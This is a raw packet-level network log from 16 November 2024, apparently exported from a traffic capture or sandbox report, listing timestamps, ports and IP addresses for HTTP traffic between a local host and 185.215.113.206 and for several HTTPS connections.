Nov 16, 2024 13:01:40.832847118 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832849026 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832849026 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832860947 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832860947 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832875013 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832890034 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832904100 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832916975 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832916975 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832918882 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832926035 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832932949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832942009 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832946062 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832954884 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832973957 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.832994938 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.832994938 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833012104 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833018064 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833040953 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833055973 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833070993 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833079100 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833086967 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833101988 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833105087 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833131075 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833133936 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833133936 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833147049 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833161116 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833175898 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833178997 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833178997 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833199978 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833214045 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833218098 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833218098 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833230019 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833244085 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833256960 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833256960 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833260059 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833285093 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833292007 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833292007 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833298922 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833307981 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833316088 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833343983 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833343983 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833348036 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833360910 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833364964 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833390951 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833405972 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833410978 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833419085 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833434105 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833441019 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833441019 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833450079 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833463907 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833475113 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833475113 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833478928 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833493948 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833518028 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833518028 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833549023 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833906889 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833921909 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833936930 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833962917 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833961964 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833976984 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.833980083 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.833993912 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.834022999 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.834022999 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.834041119 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.834069014 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.834091902 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.834112883 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.834126949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.834142923 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.834153891 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.834153891 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.834158897 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.834175110 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.834188938 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.834189892 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.834220886 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.834263086 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.916440010 CET	49920	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:40.916486025 CET	443	49920	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:40.920532942 CET	49920	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:40.920906067 CET	49920	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:40.920924902 CET	443	49920	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:40.945661068 CET	49909	443	192.168.2.5	204.79.197.219
Nov 16, 2024 13:01:40.949310064 CET	443	49911	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.949758053 CET	49911	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.949783087 CET	443	49911	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.950248957 CET	443	49911	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.950961113 CET	49911	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.951040030 CET	443	49911	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:40.951114893 CET	49911	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:40.981935024 CET	49908	443	192.168.2.5	204.79.197.219
Nov 16, 2024 13:01:40.981935978 CET	49910	443	192.168.2.5	23.198.7.187
Nov 16, 2024 13:01:40.995345116 CET	443	49911	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:41.106267929 CET	443	49914	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.112145901 CET	49914	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.112190008 CET	443	49914	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.112677097 CET	49914	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.112690926 CET	443	49914	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.117104053 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.117877960 CET	443	49915	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.118334055 CET	49915	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.118416071 CET	443	49915	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.118793964 CET	49915	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.118808985 CET	443	49915	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.122039080 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.130054951 CET	443	49916	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.132846117 CET	49916	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.132875919 CET	443	49916	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.133595943 CET	49916	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.133601904 CET	443	49916	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.144717932 CET	443	49917	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.146074057 CET	49917	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.146120071 CET	443	49917	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.151576042 CET	49917	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.151593924 CET	443	49917	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.170877934 CET	443	49912	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.171154022 CET	49912	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.171189070 CET	443	49912	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.172415018 CET	443	49912	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.172488928 CET	49912	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.172956944 CET	49912	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.173027992 CET	443	49912	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.173198938 CET	49912	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.173208952 CET	443	49912	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.173510075 CET	49912	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.173547029 CET	443	49912	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.180743933 CET	443	49919	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.181281090 CET	49919	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.181320906 CET	443	49919	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.181768894 CET	49919	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.181776047 CET	443	49919	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.185528040 CET	443	49913	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.185893059 CET	49913	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.185941935 CET	443	49913	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.187129021 CET	443	49913	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.187454939 CET	49913	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.187594891 CET	49913	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.187611103 CET	443	49913	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.187632084 CET	49913	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.187652111 CET	443	49913	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.221568108 CET	443	49918	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:41.221992970 CET	49918	443	192.168.2.5	20.125.209.212
Nov 16, 2024 13:01:41.222059011 CET	443	49918	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:41.222709894 CET	443	49918	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:41.223262072 CET	49918	443	192.168.2.5	20.125.209.212
Nov 16, 2024 13:01:41.223385096 CET	443	49918	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:41.223440886 CET	49918	443	192.168.2.5	20.125.209.212
Nov 16, 2024 13:01:41.235028982 CET	49912	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.238547087 CET	443	49914	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.238573074 CET	443	49914	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.238640070 CET	49914	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.238645077 CET	443	49914	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.238697052 CET	49914	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.247503042 CET	443	49915	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.247667074 CET	443	49915	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.247741938 CET	49915	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.256870985 CET	443	49911	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:41.256927967 CET	443	49911	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:41.257078886 CET	443	49911	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:41.257149935 CET	49911	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:41.258238077 CET	49914	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.258274078 CET	443	49914	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.258331060 CET	49915	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.258331060 CET	49915	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.258390903 CET	443	49915	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.258421898 CET	443	49915	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.260812044 CET	443	49916	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.260891914 CET	443	49916	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.260953903 CET	49916	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.264662981 CET	49911	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:41.264678955 CET	443	49911	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:41.267343044 CET	443	49918	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:41.267353058 CET	49916	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.267359972 CET	443	49916	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.271946907 CET	49921	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.271991014 CET	443	49921	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.272089005 CET	49921	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.274015903 CET	49921	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.274035931 CET	443	49921	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.275906086 CET	49922	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.275979042 CET	443	49922	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.276055098 CET	49922	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.276269913 CET	49922	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.276299000 CET	443	49922	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.278477907 CET	49913	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.278528929 CET	49918	443	192.168.2.5	20.125.209.212
Nov 16, 2024 13:01:41.279576063 CET	443	49917	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.279738903 CET	443	49917	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.279913902 CET	49917	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.302747965 CET	49923	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.302781105 CET	443	49923	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.302958012 CET	49923	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.303260088 CET	49923	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.303289890 CET	443	49923	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.307540894 CET	49924	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.307595015 CET	443	49924	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.307683945 CET	49924	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.307863951 CET	49917	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.307910919 CET	443	49917	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.307928085 CET	49917	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.307934999 CET	443	49917	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.308048010 CET	49924	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.308072090 CET	443	49924	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.314986944 CET	49925	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.315032005 CET	443	49925	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.315215111 CET	49925	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.317634106 CET	49925	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.317651987 CET	443	49925	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.319828033 CET	443	49919	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.319979906 CET	443	49919	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.320059061 CET	49919	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.320238113 CET	49919	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.320259094 CET	443	49919	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.320270061 CET	49919	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.320276022 CET	443	49919	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.323349953 CET	49926	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.323450089 CET	443	49926	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.323895931 CET	49926	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.324229002 CET	49926	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:41.324264050 CET	443	49926	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:41.354387045 CET	443	49913	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.355832100 CET	49913	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.355952024 CET	443	49913	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.356024027 CET	49913	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.373200893 CET	443	49918	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:41.395029068 CET	443	49918	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:41.395230055 CET	49918	443	192.168.2.5	20.125.209.212
Nov 16, 2024 13:01:41.395502090 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.395553112 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.395567894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.395571947 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.395612001 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.395612001 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.395663023 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.395679951 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.395695925 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.395729065 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.395745993 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.395745993 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.395760059 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.395764112 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.395804882 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.395818949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.395821095 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.395821095 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.395834923 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.395850897 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.395859957 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.395859957 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.395859957 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.395908117 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.395921946 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.395979881 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.395998001 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396013021 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396024942 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396032095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396044016 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396066904 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396076918 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396085024 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396110058 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396112919 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396112919 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396133900 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396152973 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396155119 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396156073 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396168947 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396178007 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396194935 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396203041 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396213055 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396238089 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396238089 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396241903 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396260023 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396272898 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396285057 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396303892 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396306992 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396323919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396331072 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396331072 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396341085 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396351099 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396354914 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396372080 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396387100 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396392107 CET	49918	443	192.168.2.5	20.125.209.212
Nov 16, 2024 13:01:41.396399975 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396399975 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396399975 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396403074 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396419048 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396433115 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396433115 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396435022 CET	443	49918	20.125.209.212	192.168.2.5
Nov 16, 2024 13:01:41.396460056 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396460056 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396466970 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396475077 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396488905 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396505117 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396518946 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396531105 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396538019 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396538019 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396544933 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396559000 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396564960 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396572113 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396585941 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396593094 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396601915 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396616936 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396616936 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396626949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396646023 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.396650076 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.396665096 CET	80	49802	185.215.113.206	192.168.2.5
